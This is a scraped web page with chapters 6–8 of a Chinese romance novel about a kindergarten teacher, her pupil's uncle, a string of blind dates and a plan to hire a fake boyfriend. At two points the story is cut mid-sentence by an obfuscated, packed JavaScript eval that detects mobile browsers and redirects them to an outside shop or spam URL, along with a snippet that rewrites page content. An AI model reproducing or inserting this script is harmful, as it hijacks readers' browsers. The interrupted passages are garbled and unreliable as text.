施灿灿一脚踩进自己挖的坑,深深叹气:“我真羡慕你,没有爸妈催婚,哎,要不咱俩换换?你给我爸妈当女儿,我给你爸妈当女儿。” “怎么,换乘闺女吗?” 施灿灿说对了,但没全对。父母不催婚,催婚的另有其人。江萄在心里叹息,苦楚难言。 “我觉得挺好的啊,这样,我就有吃不完的水果,你有吃不完的零食。”施灿灿不和她打趣了,话锋一转,换了个话题,“哎,晚上一起吃饭?我发现了一家苍蝇小馆,云南菜,特好吃。尤其是老板自己炸的油鸡枞,巨香。” 江萄拒绝:“不巧,有约了。你要是早十分钟说,兴许还有戏。” 方才手机的叮铃哐啷震动,正是她的幼儿园饭搭子群在响。群里五个人,吃商玩商相投。小南瓜幼儿园万红丛中两点绿的园草之一说,今晚要请小伙伴们吃饭。 施灿灿挑挑眉,没强行霸占她,只说改日再约。江萄回隔壁水果店,上二楼的休息室和阮淑说一声今晚不在家吃饭,便拎了包,从侧门拐进小区,开上自己使用率极低的剁椒鱼头出门。 傍晚六点半,正是道路拥堵高峰,一个接一个亮起的红色车尾灯,成了橘色晚霞的点缀。 每逢此刻,管你什么油车电车豪车烂车,进了这条道,皆一视同仁,都得堵着。 走走停停容易让人失去耐心和脾气,不过,裴乘舟早被裴小可折腾得没脾气。 车子在院子里停下,裴小可仍在不停问:“小舅舅,你真的不能嫁给葡萄老师吗?” 裴乘舟忍了一路,唰拉推开车门,提小猫崽似的,把裴小可提溜下车。他耐着最后一分性子,说:“裴小可,你这句话是个病句知道吗。” “不知道。” “葡——”裴乘舟差点被带进沟里,用自己和江老师举例,他换了例子给裴小可解释,“就像姥姥嫁给姥爷,姥爷娶了姥姥,这才是常规的用法,知道吗。” 裴小可似懂非懂点头,眼珠子转动两圈,很快学会举一反三,“小舅舅,我懂了。那——你什么时候娶葡萄老师?” “我为什么要娶葡萄老师?”裴乘舟叹气,“两个互相喜欢的人才会结婚。” “可是妈咪经常看先婚后爱的小说,里面的男主和女主没有互相喜欢也结婚了呀,小舅舅,你不能和葡萄老师先婚后爱吗?” 裴乘舟拿小拖鞋放她脚边,面无表情道:“让你妈咪少看这些小说,看多了会变——” 傻。 没等话说完,裴小可高举手臂抢答:“我知道了为什么了!” “噢?为什么?”他这会儿倒是好奇小孩又要扔下什么惊天语录。 6. 第 6 章 “一定是小舅舅你的魅力不够,不够温柔体贴,葡萄老师才不想和你先婚后爱。” 裴乘舟:“…………” 真是中邪,他竟然期待能从小孩嘴里听到什么好话。连轴转出差和熬夜加班,都没这么让人心累。他上辈子一定和这母女俩是仇人,这辈子净逮着他一个人折腾。 裴乘舟转身就走,全然不管嘴里仍在念念有词的裴小可。书房门合上前,就差指着变成跟屁虫的小孩鼻子放话,再靠近一步,没收所有玩具。 听到没收所有玩具,裴小可挺不开心,嘴角往两边耷拉。转念想起自己和四喜一起玩耍的愉快时光,瞬间又阴转晴,愉快起来。 然而愉快没能持续太久,有效期只到次日幼儿园放学后五分钟。 今天依旧是小舅舅来接她放学,裴小可想像昨日那样,在车里吃小零食,等到葡萄老师下班再去看狗狗。她上了车就扒着主驾驶的椅背,说:“小舅舅,我一会儿还想去葡萄老师那儿看狗狗。” 裴乘舟嘴里淡淡嗯一声,嘱咐她自己系安全带,先找车位停车。经过车位旁,油门没松,车子顺势汇入车流中。 瞥到水果店鲜绿招牌,他陡然想起昨日见到江老师,只顾解决裴小可制造出来的麻烦,却把自己初遇那天的行为忘在脑后。若要究其根源,也还是裴小可……也罢,等下次见面,再为自己的唐突抱歉。 等裴小可反应过来,水果店已经飞快掠过,开过好几个路口。 妈咪说过,大人开车的时候小孩子不能在旁边闹来闹去,要是发生意外,就看不了动画片了。她只能气呼呼在后座被安全带勒着,“小舅舅是大骗子!你明明说可以去看狗狗的!” 裴乘舟从后视镜瞥她一眼,“昨天已经看过了。” “可是昨天是昨天,今天是今天!”她明天不想让小舅舅接她放学了,她要杨阿姨接她放学。 不对,不止明天不想,明天的明天也不想,明天的明天的明天也不想! 当晚,裴乘舟在小孩睡觉前听到消息,心里哼笑一声。小孩就是小孩,真当自己的小心思藏得好好的? 裴小可更小的时候,他陪着玩捉迷藏,她躲在什么遮挡都没有的餐桌下,他配合装瞎,假装什么也没发现。这回没办法当做看不见。 他特意交待杨姨,就算裴小可躺地上撒泼打滚,抱树干不想走,也不允许再去看狗。 隔天放学,杨姨接到人,裴小可不肯上车,“阿姨,我想看完狗狗再回家。” “小可,我们先回去吃晚餐好不好?阿姨今天给你烤了你想吃的菠萝披萨,有可多可多菠萝了。” 裴小可咽了咽口水,问:“那我吃完披萨了,可以再来看狗狗吗?” “这……你吃饱之后,阿姨帮你问问裴先生好不好?我们先回去吃披萨,凉了可就不好吃了。” 裴小可考虑得很认真。幼儿园的午餐有讨厌的臭青椒,没吃几口就不想再吃。午睡起来后的牛奶和小饼干,在下午的室外跑跑跳跳中,已经被肚子吃掉。现在肚子咕咕响,她觉得填抱肚子和看狗狗一样重要。于是轻快说了声好。 回到家,她乖乖吃掉餐盘里烤得金黄诱人的披萨,心里惦记和四喜玩耍,每隔几分钟就跑进厨房问阿姨小舅舅怎么说。 这一问,从吃饱饭到喝下睡前的温热牛奶,也没等来回答。 消息裴乘舟收到了,只看一眼,就将手机盖回餐桌上。他晚上有应酬,接近十点才到家。经过儿童房门口,轻手轻脚打开。开门的刹那,翻身的动静和重重的哼声一齐入耳。 投影小夜灯慢悠悠转动,水母、小鲸鱼、海星在天花板惬意遨游。绿油油的海草印上没什么表情的冷淡面庞,夜灯转速被调至最慢转速,海草以极慢的速度,从脸颊滑过。 裴乘舟脱下西装外套,才抬步进儿童房。他借胃病复发为由滴酒没沾,架不住饭桌上觥筹交错,到底还是沾上了难闻的酒气。 听见脚步声,裴小可把自己埋进被窝里。感觉到被子被掀开,手脚并用,立马紧紧压住。 “泥肘开。” 他没理会从被褥透出的瓮声瓮气,说:“小可,出来,别把自己闷坏了。” “不要!” 行。 看谁熬得过谁。今天的工作已经处理完毕,他有的是时间。 裴乘舟在给她讲故事的位置坐下,不看时事财经新闻,也不刷其他软件,只点开时钟app,目视秒针绕表盘一圈圈转动。 一分二十五秒,儿童被露出一丝缝隙。 裴乘舟不咸不淡移动眼睛,裴小可呲溜又钻进被窝,捂得严严实实。 重复几次后,裴小可意识到小舅舅今天是一块嚼过的泡泡糖,死死黏在她的房间,可能要进行一次小孩和大人的谈话,才肯离开。 裴小可看见他张开嘴,按住自己的小兔子在怀里,紧紧闭上眼,她以为小舅舅要说她不懂事,听见问题后,睁开眼睛眨动了几下。小舅舅问她,今天晚上吃了什么。 她闷声答:“吃了披萨。” “好吃吗?” 裴小可点头,“好吃。” “如果你们班上有个小朋友也想来家里吃披萨,你愿意和小朋友分享吗?” 她思考了很久,说愿意分享。裴乘舟又问,如果小朋友天天都想来呢? 这回裴小可回答得挺快,“那个小朋友自己家没有披萨吗,我为什么天天都要分享披萨,我们家又不是专门做披萨的,可真是一个麻烦精!讨厌鬼!” “所以你看,小可,你现在是家里唯一一个小朋友,你妈咪、我、姥姥和姥爷可以无条件包容你,因为我们是一家人,但外人没有包容你的义务,知道吗。”裴乘舟记不清小时候父母怎么教育他,也不确定这番话对于小朋友而言会不会过重,“你总是想去葡萄老师那里看狗,这对葡萄老师来说——” 裴小可呆呆愣住,下一秒,扁起嘴,眼睛立马变得水汪汪,“小、小舅舅,我是不是就是那个麻烦精?葡萄老师是不是讨厌我了?” 裴乘舟轻轻叹气,抽出一张柔软的乳霜纸,吸走挂在眉梢的眼泪,有几滴已经顺着脸颊印在月亮枕头上,晕开一朵朵小花。 不能哭,不能哭。 今天运气球的比赛中,她不小心摔了一跤,手心擦破了一点点皮,膝盖也有点疼,但她没哭鼻子,葡萄老师还夸她勇敢。 她不想让葡萄老师讨厌,呜呜—— 裴小可的心情跌落谷底,睡了一觉没缓过来,早餐吃到了浇了甜甜枫糖的松饼,也还是没能让多巴胺战胜悲伤的情绪。 一整个上午,整个人蔫得像霜打的茄子。上课趴在课桌上,下课了,也不和别的小朋友一起玩耍。她只敢眼巴巴看葡萄老师和别的小朋友说话,不敢上前。 昨天她呜呜哭个不停,最后小舅舅威胁她,要是再哭,就把她打包空投去妈咪那儿。这一招比什么都管用,她不想和妈妈去流浪,流浪真的很无聊。 她特别想和葡萄老师说说话,葡萄老师会讨厌她吗? 中午午休,保育老师挨个查看小孩子们的情况,一只小手勾住了她的衣袖。 “江老师。” “嗯?”江萄茫然从电脑屏幕中抬头。 “裴小可想见见你。”保育老师说。 江萄反手指自己,“见我?” 闻言,坐在她办公桌前面的汪灵玉说:“裴小可今天上课看着是有点精神不太好,是不是生病了?测过体温了?” 保育老师摇头,“体温正常,用餐情况也正常。我问她是不是哪里不舒服,她说没有,只说想见江老师。” 汪灵玉轻笑:“裴小可倒是挺喜欢江萄的。” 江萄保存完成一半的教案,又关掉六一儿童节活动的通知窗口,说:“我去看看那小孩。” 裴小可哪里是喜欢她,分明是喜欢她的狗。 昨天没见小孩来看狗,再加上她小舅舅的道歉,大致能猜出一二。不过,裴小可要是来看狗狗,也会扑个空。 江四喜昨天已经跟江同志回老家。五一假期,老家新建的祖庙要举行开光仪式,江同志回去帮忙准备工作。等三十号放假,她再和阮淑一起开车回老家。 江萄方一出现在门口,裴小可就紧紧追她的身影,直至人在小床边蹲下。 “小可,怎么了?” 裴小可小声问:“葡萄老师,昨天四喜有好好吃饭吗?” “四喜有在好好吃饭噢,小可呢?” 小孩慢慢点头,接着躲闪江萄温柔的目光,轻声咕哝:“葡萄老师,我是不是惹你讨厌了?” 江萄脑袋顶冒出大问号,这又闹的哪一出? “小可为什么会这么问?” “小舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310804|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让我去看四喜了。他说,因为我自己的小心思,会给葡萄老师添麻烦。”裴小可乌溜溜的杏眼里,没了神采,“我是不是真的做错了?” 可她也只是想看狗狗而已,没有像小舅舅说的那个吃披萨小孩一样,那么无理取闹。 被子盖住裴小可小半张脸,江萄给她理了理乱掉的刘海。 于成人世界而言,绝对的是非对错本就是个伪命题。但对小朋友而言,她只往最浅显的换位角度引导。 其实有时候她觉得,催着小幼苗长大,是一件残忍的事情,但她是老师,不管不顾,又违背教育的道义。江萄挺想叹气,每天都要介入到他人因果中,容易糟天打雷劈呢。 江萄安慰完发愁的小孩,回到办公室,盯着文档发呆。 她也想有个人可以安慰她的烦恼。不对,她想有个人帮她解决烦恼。言语上的关心确切来说都不能称为关心,那叫添乱,实际解决问题,才是重点。 罢了,靠人不如靠己,只是自己三两天内暂时也指望不上。等下班了,去水果店找亲妈场外援助。 水果店二楼的休息室门口没关严,轰隆隆的枪声从缝隙中传出,听得江萄一激灵,多加班半个小时的疲惫感被赶走。 说是休息室,其实更像一间套房,小卧室、客厅、厨房一应俱全。平时他们一家三口的晚餐基本在这里解决,江萄也乐得轻松,下班回家就有饭吃。阮淑偶尔会呼朋唤友,过来打麻将。 似乎牌局刚散,深绿麻将桌上还散乱着麻将。阮淑正在磕瓜子追剧,觑了她一眼,说:“刚下班?菜给你温在蒸箱里了。” 江萄应一声,没晃悠进厨房,反而凑到嗑瓜子追谍战剧的阮淑身边,同挤一张单人红木沙发,心里一直惦记正事,“妈,你给我介绍个男朋友吧。” 瓜子皮咬在嘴里,瓜子仁扑簌掉落,江萄眼疾手快接住,塞进自己嘴里。阮淑反手给她一爆栗,她夸张嗷了一声,秒认怂,殷勤地剥了一小捧瓜子仁,进献给母上大人。 阮淑捻了几粒瓜子仁,送进嘴里,“你不是找你单位的小孩帮忙了么。” “别提了,人家有女朋友了,我哪里好意思再找他帮忙。” 昨天的聚餐她还以为只是普通聚餐,正想借机和园草商量假扮男女朋友的细节,到了才发现是个脱单局。园草带女朋友来给他们认识,还给敬她三杯豆奶以示歉意。 原计划找园草假扮男朋友,在奶奶八十大寿的寿宴上乍现的计划,泡!汤!了! 阮淑噢了一声,想起了什么似的,突然笑起来:“我听说,你昨天被一个小孩说了一门亲事?” 江萄眼睛慢慢瞪大,慢半拍奔到走廊外,冲下方幽怨喊:“玲玲姐!” 昨天那杯水就是玲玲姐给她递来,她已经在他们家的水果店工作了好些年。闹剧发生的时候,她正在收银台给顾客结账。 在楼下几声爽朗的哈哈笑中,江萄又回到休息室。 阮淑捂嘴乐:“这你可误伤岳玲了。你这事儿都在附近公园的广场舞圈传开了,早上我去跳舞,经常来我们家买水果的珍珍,一见着我就挽住我胳膊说恭喜恭喜,说我有一个高大英俊的女婿。” 等等—— 江萄傻眼了,什么……玩意?! 她和裴小可的小舅舅? 没忍住打了个哆嗦。 网友辣评的果然不假,广场舞就是大型妇女情报交流会,比老家村口的情报组织有过之而无不及。 “我回到店里,才了解到来龙去脉。”阮淑又打趣,“萄啊,别是你背着我和你爸偷偷在外面找了男朋友,现在人上门讨身份了。” “妈!你别带头起哄啊!”快要急跳脚,都是些什么乱七八糟的,“人家只是我班上小孩的家长!” 阮淑嘴里噢噢噢知道知道,但笑声不停,笑到弯腰,发出大鹅叫。 江萄垮着脸,雄赳赳气昂昂进厨房,化无语为食欲。 刚扒了两口饭,阮淑手里捏了一块凤梨进来。江萄脸碗带人调了个向。 “好好好,妈不开玩笑了。”阮淑哄道。 江萄眼神幽幽,半信半疑,“真的?” “真的真的。假男朋友的事,妈帮你想办法。” 江萄放下碗筷,说:“洗耳恭听。” “妈觉得吧,要不,问问你那绯闻对象愿不愿意帮个小忙?” 7. 第 7 章 “妈!”发际线新长出来的碎发隐隐有炸毛的迹象,一根一根触电了似的,直愣愣立起,江萄抓狂,“您可真是我亲妈!” 昨天施灿灿也和她说过同样的话,江萄就是觉得这一个两个的存心看热闹不嫌事儿大。 昨晚聚餐结束,她没回家,晃去隔壁单元楼找施灿灿大吐特吐苦水。施灿灿听完后,无比感慨,嘴里哎呀哎呀哟哟哟,各类语气辅助词快能集齐成册,原本还羡慕她不被催婚,没想到同病相怜。 不知是不是病情相似的幸灾乐祸作祟,施灿灿给她出了个损招。让她用老师的身份威胁学长家长帮忙,如果家长去幼儿园告状,就给他家小孩穿小鞋。 她让施灿灿别脑子发热发懵出馊主意,转身头也不回走得飞快。 哈哈哈的笑声已经在厨房回荡一分钟,江萄面若死灰继续扒饭,味同嚼蜡,上下齿用力咬,翠绿菜芯嚼得咔呲咔呲响。 阮淑笑够了,眼睛落回五官快皱成苦瓜的闺女,说:“萄啊,其实没必要做到这个份上,顺了奶奶的心意未必是一件坏事。她那个人,也就是刀子嘴豆腐心。” 今年过年,奶奶给了她两个选择。要么在八十大寿带个男朋友回来让她过目,要么…… 毕业上班以后,她一直都没有太强烈想去痛痛快快谈一场恋爱的想法。男朋友她是没有,但能临时找个假男友敷衍了事。 至于另一个选择…… “不要。”江萄回得快速且决绝,眉眼之间难得起了阴郁,头顶聚拢起一片乌云,下一秒就能来一场倾盆大雨,浇透全身。 一向泛着湖光的温情大眼睛,透出一种难言的焦灼。阮淑默了默,敛笑,唇角只是微微弯着,抬腕压压闺女的发顶,正色道:“好了,别愁眉苦脸的了,等妈的消息。” 江萄透过碗沿,仔细揣摩亲妈的表情,没再看出任何开玩笑的成分,乱七八糟突突的心稍稍回落。 原以为还要再等上两天,没想到隔天就收到阮淑的相亲消息。 考虑到第一次见面,江萄觉得还是有必要给对方留个好印象。 有时候麻烦事就是一部大型连续剧,一集接一集,轱辘来轱辘去,没完没了。就怕后头有突发状况发生,还需要对方再次配合。 当天她下班第一件事,就是回家收拾打扮一番,而后才前往约定见面的餐厅。 餐厅坐落在闹市中,由一座有些年代感、占地面积不小的老洋房花园改造而成。江萄踏进餐厅大门,才发现里面别有洞天。 刹那间,车水马龙、人声鼎沸皆被挡在院墙外。喧嚣渐隐,松柏阁榭间,静水流深。身临其境在现代与宋韵交织的建筑美学中。 好奇环顾一周,江萄顺着引客的前厅服务员指示,往院子里走。 她穿梭在青砖小瓦马头廊的院落中,走到去往下一个区域的长廊台阶下,斜前方有个身姿笔挺的男人在接听电话。剪裁妥帖的藏青西装勾勒出宽肩窄腰的身材,头发丝弯起精致的弧度,她以路人的角度点评赞美一番,便贴向另一侧的围栏走,刻意隔开安全距离。 转眸赏廊外叫不出名字的清雅花草的瞬间,没注意到对方小幅度侧身。 余光范围之内,隐约有一抹白色身影闯入,似朗月出天山。裴乘舟对着话筒公事公办应一句,偏了身子随意瞥视,转而凝眸。 江萄正踏上游廊矮阶,拾步而来。 几天没见,倒意外令人眼前一亮。 前几次见面,衣着偏休闲舒适风,今天她着一身修身珍珠白长裙,大概缎面质地,盈覆一圈暖洋洋的珠玉光泽。束起的马尾披散在肩头,简单的项链和腕表点缀,既不过于清冷单调,又不喧宾夺主,夺走那股如烟如雾、又柔又婉约的气质。如果怀中抱一捧重瓣百合,更衬得亭亭、秾丽秀逸。 她目不斜视由远及近,还有两步之遥,两条平行线即将相会。 步伐一步一步,似铮铮击弦声,踩在了心跳读秒的节奏里,裙摆也跟随摇曳。 脚步声没有任何停顿,一丝错乱也无,始终如一保持端庄仪态,没有四下张望的小动作。 擦身而过间,清新荔枝玫瑰香悄无声息随晓风袭来,清浅茉莉像一座桥梁,衔接荔枝的甜、玫瑰的雅。相互糅杂为一体,却又不缺层次感。 月白隐没青砖墙,裴乘舟无意识往她消失的拐角瞟,听筒里提高的音调唤回被透明丝线牵走的神经细胞,捕回一尾游鱼般游神的思绪。 电话在两分钟后挂断,裴乘舟回到办公室,那一抹白仍一直残留在脑海。好比夜幕中悬挂的弯月,没有太多特殊含义,仅是一般意识的残存。 杯盏里盛的是下个月即将上新的茶饮,他抿一口,咽下。舌尖抵在齿后,轻啧一声。 裴小可虽锲而不舍追着他娶葡萄老师,无理取闹归无理取闹,可若认真从情感角度考虑,江萄不是他的理想型。 具体喜欢什么类型,他也说不上来一二。也许偏知性风,偏干练风,但绝不是素净小白花的类型。 裴乘舟将半盏茶饮尽,眼底映刻的残影,也一同消散。 忙碌之间,时间飞快如流。 裴乘舟关了电脑,从办公室离开,打算做最后的巡视,下班回家。 走到听涧用餐区域,脚步却蓦然停驻。从他的视角看去,江萄同一位戴眼镜的斯文男性离座,一前一后往外走去。 目光短暂停留,脚下调转方向。他踩着脚下的青砖缝线,反方向而行,继续巡视其他的用餐区域。眉宇间没有被所见的一幕所扰,她与何人用餐,与他无关。 怎料,接下来连续四天,他都在自家餐厅见到江萄。 有根树棍在乱撬,密不透风屏障撬开一丝缝隙,撬动了压在心头的好奇心。 江老师这是在……相亲? 不然该如何解释她身边一天一换的男伴。 裴乘舟挑高眉峰,心想,这行程……排得还挺满。 前方的一双身影隔着半臂的距离,安静沿石径而行,男士偏了头,与她浅声交谈。走过一道弯后,她身边的人离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310805|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。从行动路径来看,前方是洗手间。他思忖片刻,调整脚步上前。 “江…老师?”疑惑的音调在配合演戏,佯装成偶遇。 江萄闻声侧目,看清五官长相后,面露意外,惊讶道:“哎?裴先生?你怎么……你也过来吃饭?” “我…”裴乘舟话留半截,“在这边上班。” 江萄微张嘴,轻轻啊了声,旋即弯了弯唇。上班的和上班的,可差远了,有些上班的,可开不起迈巴赫。既然对方有意隐瞒,她也假装不知。 “刚才那位是?”裴乘舟礼貌询问。 江萄大方坦荡,也不藏着掖着,直言:“我今天的相亲对象。” “噢?”他装腔拿势,顺着话题问,“好事将近?” 她笑笑摇摇头,“出了这道门,一拍两散。” 裴乘舟窥觑她表情。眉眼半郁,并非舒展状态。笑容比前些天他们单独谈话时更淡更勉强,加之连续四天的相亲安排,昭示事件的紧迫程度,于是揣测:“家里催得紧?” “也……”江萄欲言又止,想抬手挠脸,又怕把妆挠花,遂放手,“也不是。就是单纯需要找一个男朋友。” 阮淑的热心牌友们给她介绍了好几个人,好友名片一股脑推送给她。 好好好,都排上都排上,不白推不白推。 她哪知道每个相亲对象都主动把见面地点约定在松庭园。 四天前,她还是第一次踏进这家今年年初入选黑珍珠二钻排名的餐厅,四天后,已经集齐松庭园的所有用餐区域。 什么听涧、山憩、翠阁、鹊桥,名字韵味十足,但菜量与这花里胡哨的花样成反比,少得不像话,价格也离谱得不像话。 餐厅走的不是大众亲民路线,主打贵而精的高端风格。菜品精致是精致,味道也极佳,但一道道菜也就比拳头大一点儿,害她晚上回去都要再加一顿夜宵。 裴乘舟没理解的她口中的需要,是哪种程度的需要,再继续询问下去,不礼貌。话题点到为止。 他叫住江萄,倒也不是想打探她的隐私,更多的是印证自己的猜测。 果然如他所想。 他牵起一个不太明显的笑,不知不觉,已经并肩走出一段距离。松庭园的大门,就在前方。 江萄陡然停下,裴乘舟往前两步,身侧剪影淡出视线,迈出的步伐也不由停下。鞋底碾过入客区的碎石地面,变成面对面的站姿。 他正疑惑,只见江萄仰头,双目直直望来。唇是红的,齿是整齐洁白的。双唇开开合合,顷刻紧闭,慢慢抿成一条平直的线。 话音落下的瞬间,他难得怔忪,许久无法回神。 江萄说的话,又一遍在他耳畔回响。 她说:“裴先生,可能这么说有点冒昧、有点荒谬了,如果可以的话,可以占用你一天的时间,假扮成我的男朋友吗?”她又补充,“就一天,一天就好,你什么也不用做,只需要露个脸。裴先生要是不方便,或者介意,不答应也没关系。” 8. 第 8 章 其实江萄说完就后悔了,话茬从平滑的大脑划过,简称说话不过脑。可能用餐时不小心沾了点小酒,大脑进入微醺状态。 虽说应该和学生家长保持好距离,但稍微打破那么一丢丢,也没关系吧? 她不知道裴乘舟有没有女朋友,但总不能打探清楚再出击,显得她对他别有所图似的。 再者,对方答不答应对她都没有太大影响。答应了自然好,奶奶八十大寿那天,她带裴先生出席,完成任务。若不答应,就另寻其他方法。 江萄不停给自己的行为找补,形成逻辑闭环。垂在身侧的手,蜷起松开,松开蜷起。心里一阵咚咚鸣鼓后,稍微平复,但多少还是有点……不好意思,毕竟她的要求太过莫名其妙。 对裴乘舟而言,她不过是一个比陌生人多见过几面的普通人,以及裴小可所在班级的老师而已。 裴乘舟试探问:“需要应付家里?” “差不多。” 眼皮一合一掀,掠过明眸皓齿,他收拢视线,淡声:“江老师,我可能需要一点时间考虑。” 成年人,门儿清。 百分之九十九的概率为拒绝,剩下的百分之一,不了了之。再巴巴贴上前,显得小脑萎缩,尤其理性被冲动掳走后的唐突请求,更让她看起来像个没脑子的大人。 “没关系没关系,是我冒昧了,裴先生别往心里去。按照幼儿园的规定,我们也不能和学生家长走得太近。”江萄指向正靠路边缓缓停下的车辆,说,“裴先生叨扰了,我叫的车到了,回见。” 江萄坐进车里,张口催促司机师傅快点开车。前车还未起步,想快也快不起来。司机望了眼还站在门内的人,随口问:“姑娘,不用等你男朋友上车吗?” 她双手一下捂住烫得能让温度计爆表的面颊,囫囵道:“师傅,你误会了,他不是我男朋友。” “噢。老公?” 江萄眼睛瞪大,好家伙,自动给她升级身份,单身变已婚。她连忙否认,撇清关系,“不不不,我不认识那位先生,我只是问他洗手间怎么走。” 司机嘀咕:“是吗?” “是的是的。” 别问了别问了,再问给你负分差评! 这次,司机师傅和她对上了脑电波,真没再提。 回到家,江萄鞋子刚蹬掉一边,有视频通话打进来。接通后,那头敷面膜的人僵着嘴巴问:“战况如何了?” 江萄两手一摊,肩膀耸起,一副无言以对的索然样。不知道是相亲对象太奇葩,还是她不够有病,融入不了其中。 明明见面前已经提出诉求,可当真正见面后,却搞得跟离领证就差临门一脚似的。不是自信感爆棚,就是和她大谈特谈房、车、彩礼问题。今天这一位更是重量级,长篇大论和她说起生育计划,左一个传宗接代,右一个为人类延续生命。她终于能理解施灿灿相完亲后,一脸吃到脏东西的憋屈样。 同是天涯沦落人,要是比惨,江萄比她略惨一筹。施灿灿呵呵呵笑,面膜翘起一条边,跟着一抖一抖,“离五一假期没几天了吧,接下来什么打算?” 奶奶的八十大寿寿宴,就在五一当天。三天,还有三天。她还剩下三天时间留住光明。 江萄变成一颗在太阳下曝晒一整天的葡萄,皮是干的,里是蔫的。身子重重歪倒进浅咖色的单人布艺沙发中,碎花鹅绒抱枕压在屁股下,拖长调子说了句不知道。 不知道,别问她。 她真不知道该怎么办好。 裴小可小舅舅那边,她没抱任何期望。相亲对象她也不打算联系,万一人家当真了,她上哪儿哭去。 还能有什么办法,能突然变出一个假男朋友? 其实关系好一点的异性不是没有,但已经随着毕业、工作、继续深造,分散在大江南北。 而且她学生时代的好友圈并不在宜城,而是与宜城相邻的隔壁省。高考结束后,她随父母来宜城定居,离开那天,还和好友们抱头痛哭,呜呜咽咽说着常联系常见面。也就是念大学时有时间有精力,一个冲动的决定就能横跨大半个中国来相聚,嘻嘻哈哈玩闹几天后,回去继续上课。 自从脱离学生身份之后,别说面都见不上几面,连曾经吵吵闹闹废话连篇的好友群,也只在过年象征性弹出几条消息。时间会流转,四季会流转,友情同样。 “我靠。”施灿灿忽然抬臂一把揭掉面膜,“宝,我先挂了,回聊回聊。” “怎么了?有急事?”江萄一脸莫名。 “我那天不是和拆二代相亲么,他给我送了一个kelly,我挂小黄鱼上卖了。刚才买家给我私信,说包是假的。我干他大爷的。”施灿灿语速飞快,“不说了不说了,拜拜拜拜。我处理破事儿去了。” 江萄噢一声,视频通话已经挂断。黑色聊天背景图,倒映出凹成圆圈的嘴。正要放下手机,手指还虚虚握住机身,动作猛然一停。原本了无生机的双眼,犹如熄灭的电灯泡再次接通电源,噌——亮起。 对啊! 小黄鱼! 她该早点想起这个万能的软件才对。这样就不用苦哈哈连着相几天的亲,见识各种奇葩,也不用在学生家长面前丢大脸。 据传言,人类对小黄鱼的开发不足百分之一。自打下载小黄鱼软件后,打开的次数一只手指头都能数得过来,她连挤进百分之一的资格都没有。 江萄火速点开软件,精准搜索:租男友见家长。 页面跳转很速度,商品页面五花八门,自推广告语各式各样,单日价格从四五十到七八百不等,下拉好几页都望不到头,让人看得眼花缭乱。 【扮演男女朋友应付催婚,男扮女女扮男,都不白来都不白来】 【黑皮体育男大出租自己】 …… 【全国生活演员供应商,剧本由您定,随叫随到,全国范围均可安排】 【提供各种角色扮演,霸总、奶狗、智障应有尽有,包您满意】 江萄刚开始还按顺序一个个戳进去看详情,划拉过三四页后,打算速战速决,不然这三天时间,都不够她货比三家的。 指腹贴在手机屏幕上移动,又划过一页,目光停在一个熊猫头沙雕页面上。 【太累了活不起了,出售本人,手续齐全,到手不用添钱】 卖家叫[哈哈哈没招了],ip就在宜城,最重要的是到手不用添钱。 冲这句话,就这哥们儿了。 江萄刚发了个微笑的系统表情,哈哈哈没招了叮咚叮咚发来七八九条消息,热情到让人发毛。 生活照、个人简介、收费标准、服务范围,一股脑扔到她眼前,末了还主动自刀:【亲,咱这边新客户现在下单,满两百就能减二十哟~】 江萄:“……” 这哥们儿看着不太沉稳靠谱呢。 还是说,现在经济下行,各行各业已经卷到这个地步了? 她拉回私信界面最上方,点开生活照,看卖家个人简介信息。 笑起来挺阳光腼腆的一个男生,露着尖尖虎牙。宜大大三在读,比她小三岁。身高体重兴趣爱好列得清清楚楚,甚至三围都有。 看到就读专业那一栏的时候,她脸上的表情变得无比复杂。 学前教育专业。 同为幼师人,江萄对他怜爱了,但不多。她还是有顾虑,怕他经受不住奶奶狠辣眼光的考验。 哈哈哈没招了见她一直没有回复,又发来:【亲,考虑来一单吗?价格还可以再商量呢~有其他要求都可以提出来噢~】 看得出对方对金钱的渴望,极力促成这一单。江萄稍一琢磨,一一说了自己的需求。 哈哈哈没招了:【好的呢~我这边可以配合~】 哈哈哈没招了:【亲,看你IP也在宜城,可以见面详聊呢。满意再付定金也是可以的呢,见面不另外收钱哈,放心放心~~~】】 含呢量太多,看得她眉头直打架,转念想起自己念大学时,经常接触小孩子,言语里也不自觉带上装可爱卖萌的语气词。 行吧。 见见也没什么损失,大不了再重找一个。 江萄环抱胳膊思忖片刻,将见面的时间地点定下。 心头的忧虑算是放下一半,江萄扔了手机去阳台收衣服。单元楼前的路灯下,站了一个个头挺高的男人,一身黑,怀里抱一捧鲜艳的红玫瑰,视觉反差极其明显。 不知为何,脑海里莫名浮现裴乘舟长身而立的身影,她皱了皱鼻子,晃动脑袋,赶忙把帅脸赶走。 她刚才到底哪里来的胆子,敢和裴小可的小舅舅提出荒谬的请求。思前想后想不出个所以然,只能把所有责任,推卸给赠送的甜滋滋莓果果酒上。 喝酒真是…… 啧。 吓人。 裴小可现在也特别想把小舅舅身上吓人的脏东西赶走。 小舅舅回到家的时候,她正双手捧着装睡前牛奶的吸管杯看动画片。听见开门的动静,赶紧晾了一集动画片的牛奶咕咚咕咚喝精光,又手忙脚乱寻找不知道被她扔到哪里去的电视遥控器。 遥控器没找到,小舅舅已经进门换鞋。只不过,今天的他不太一样。 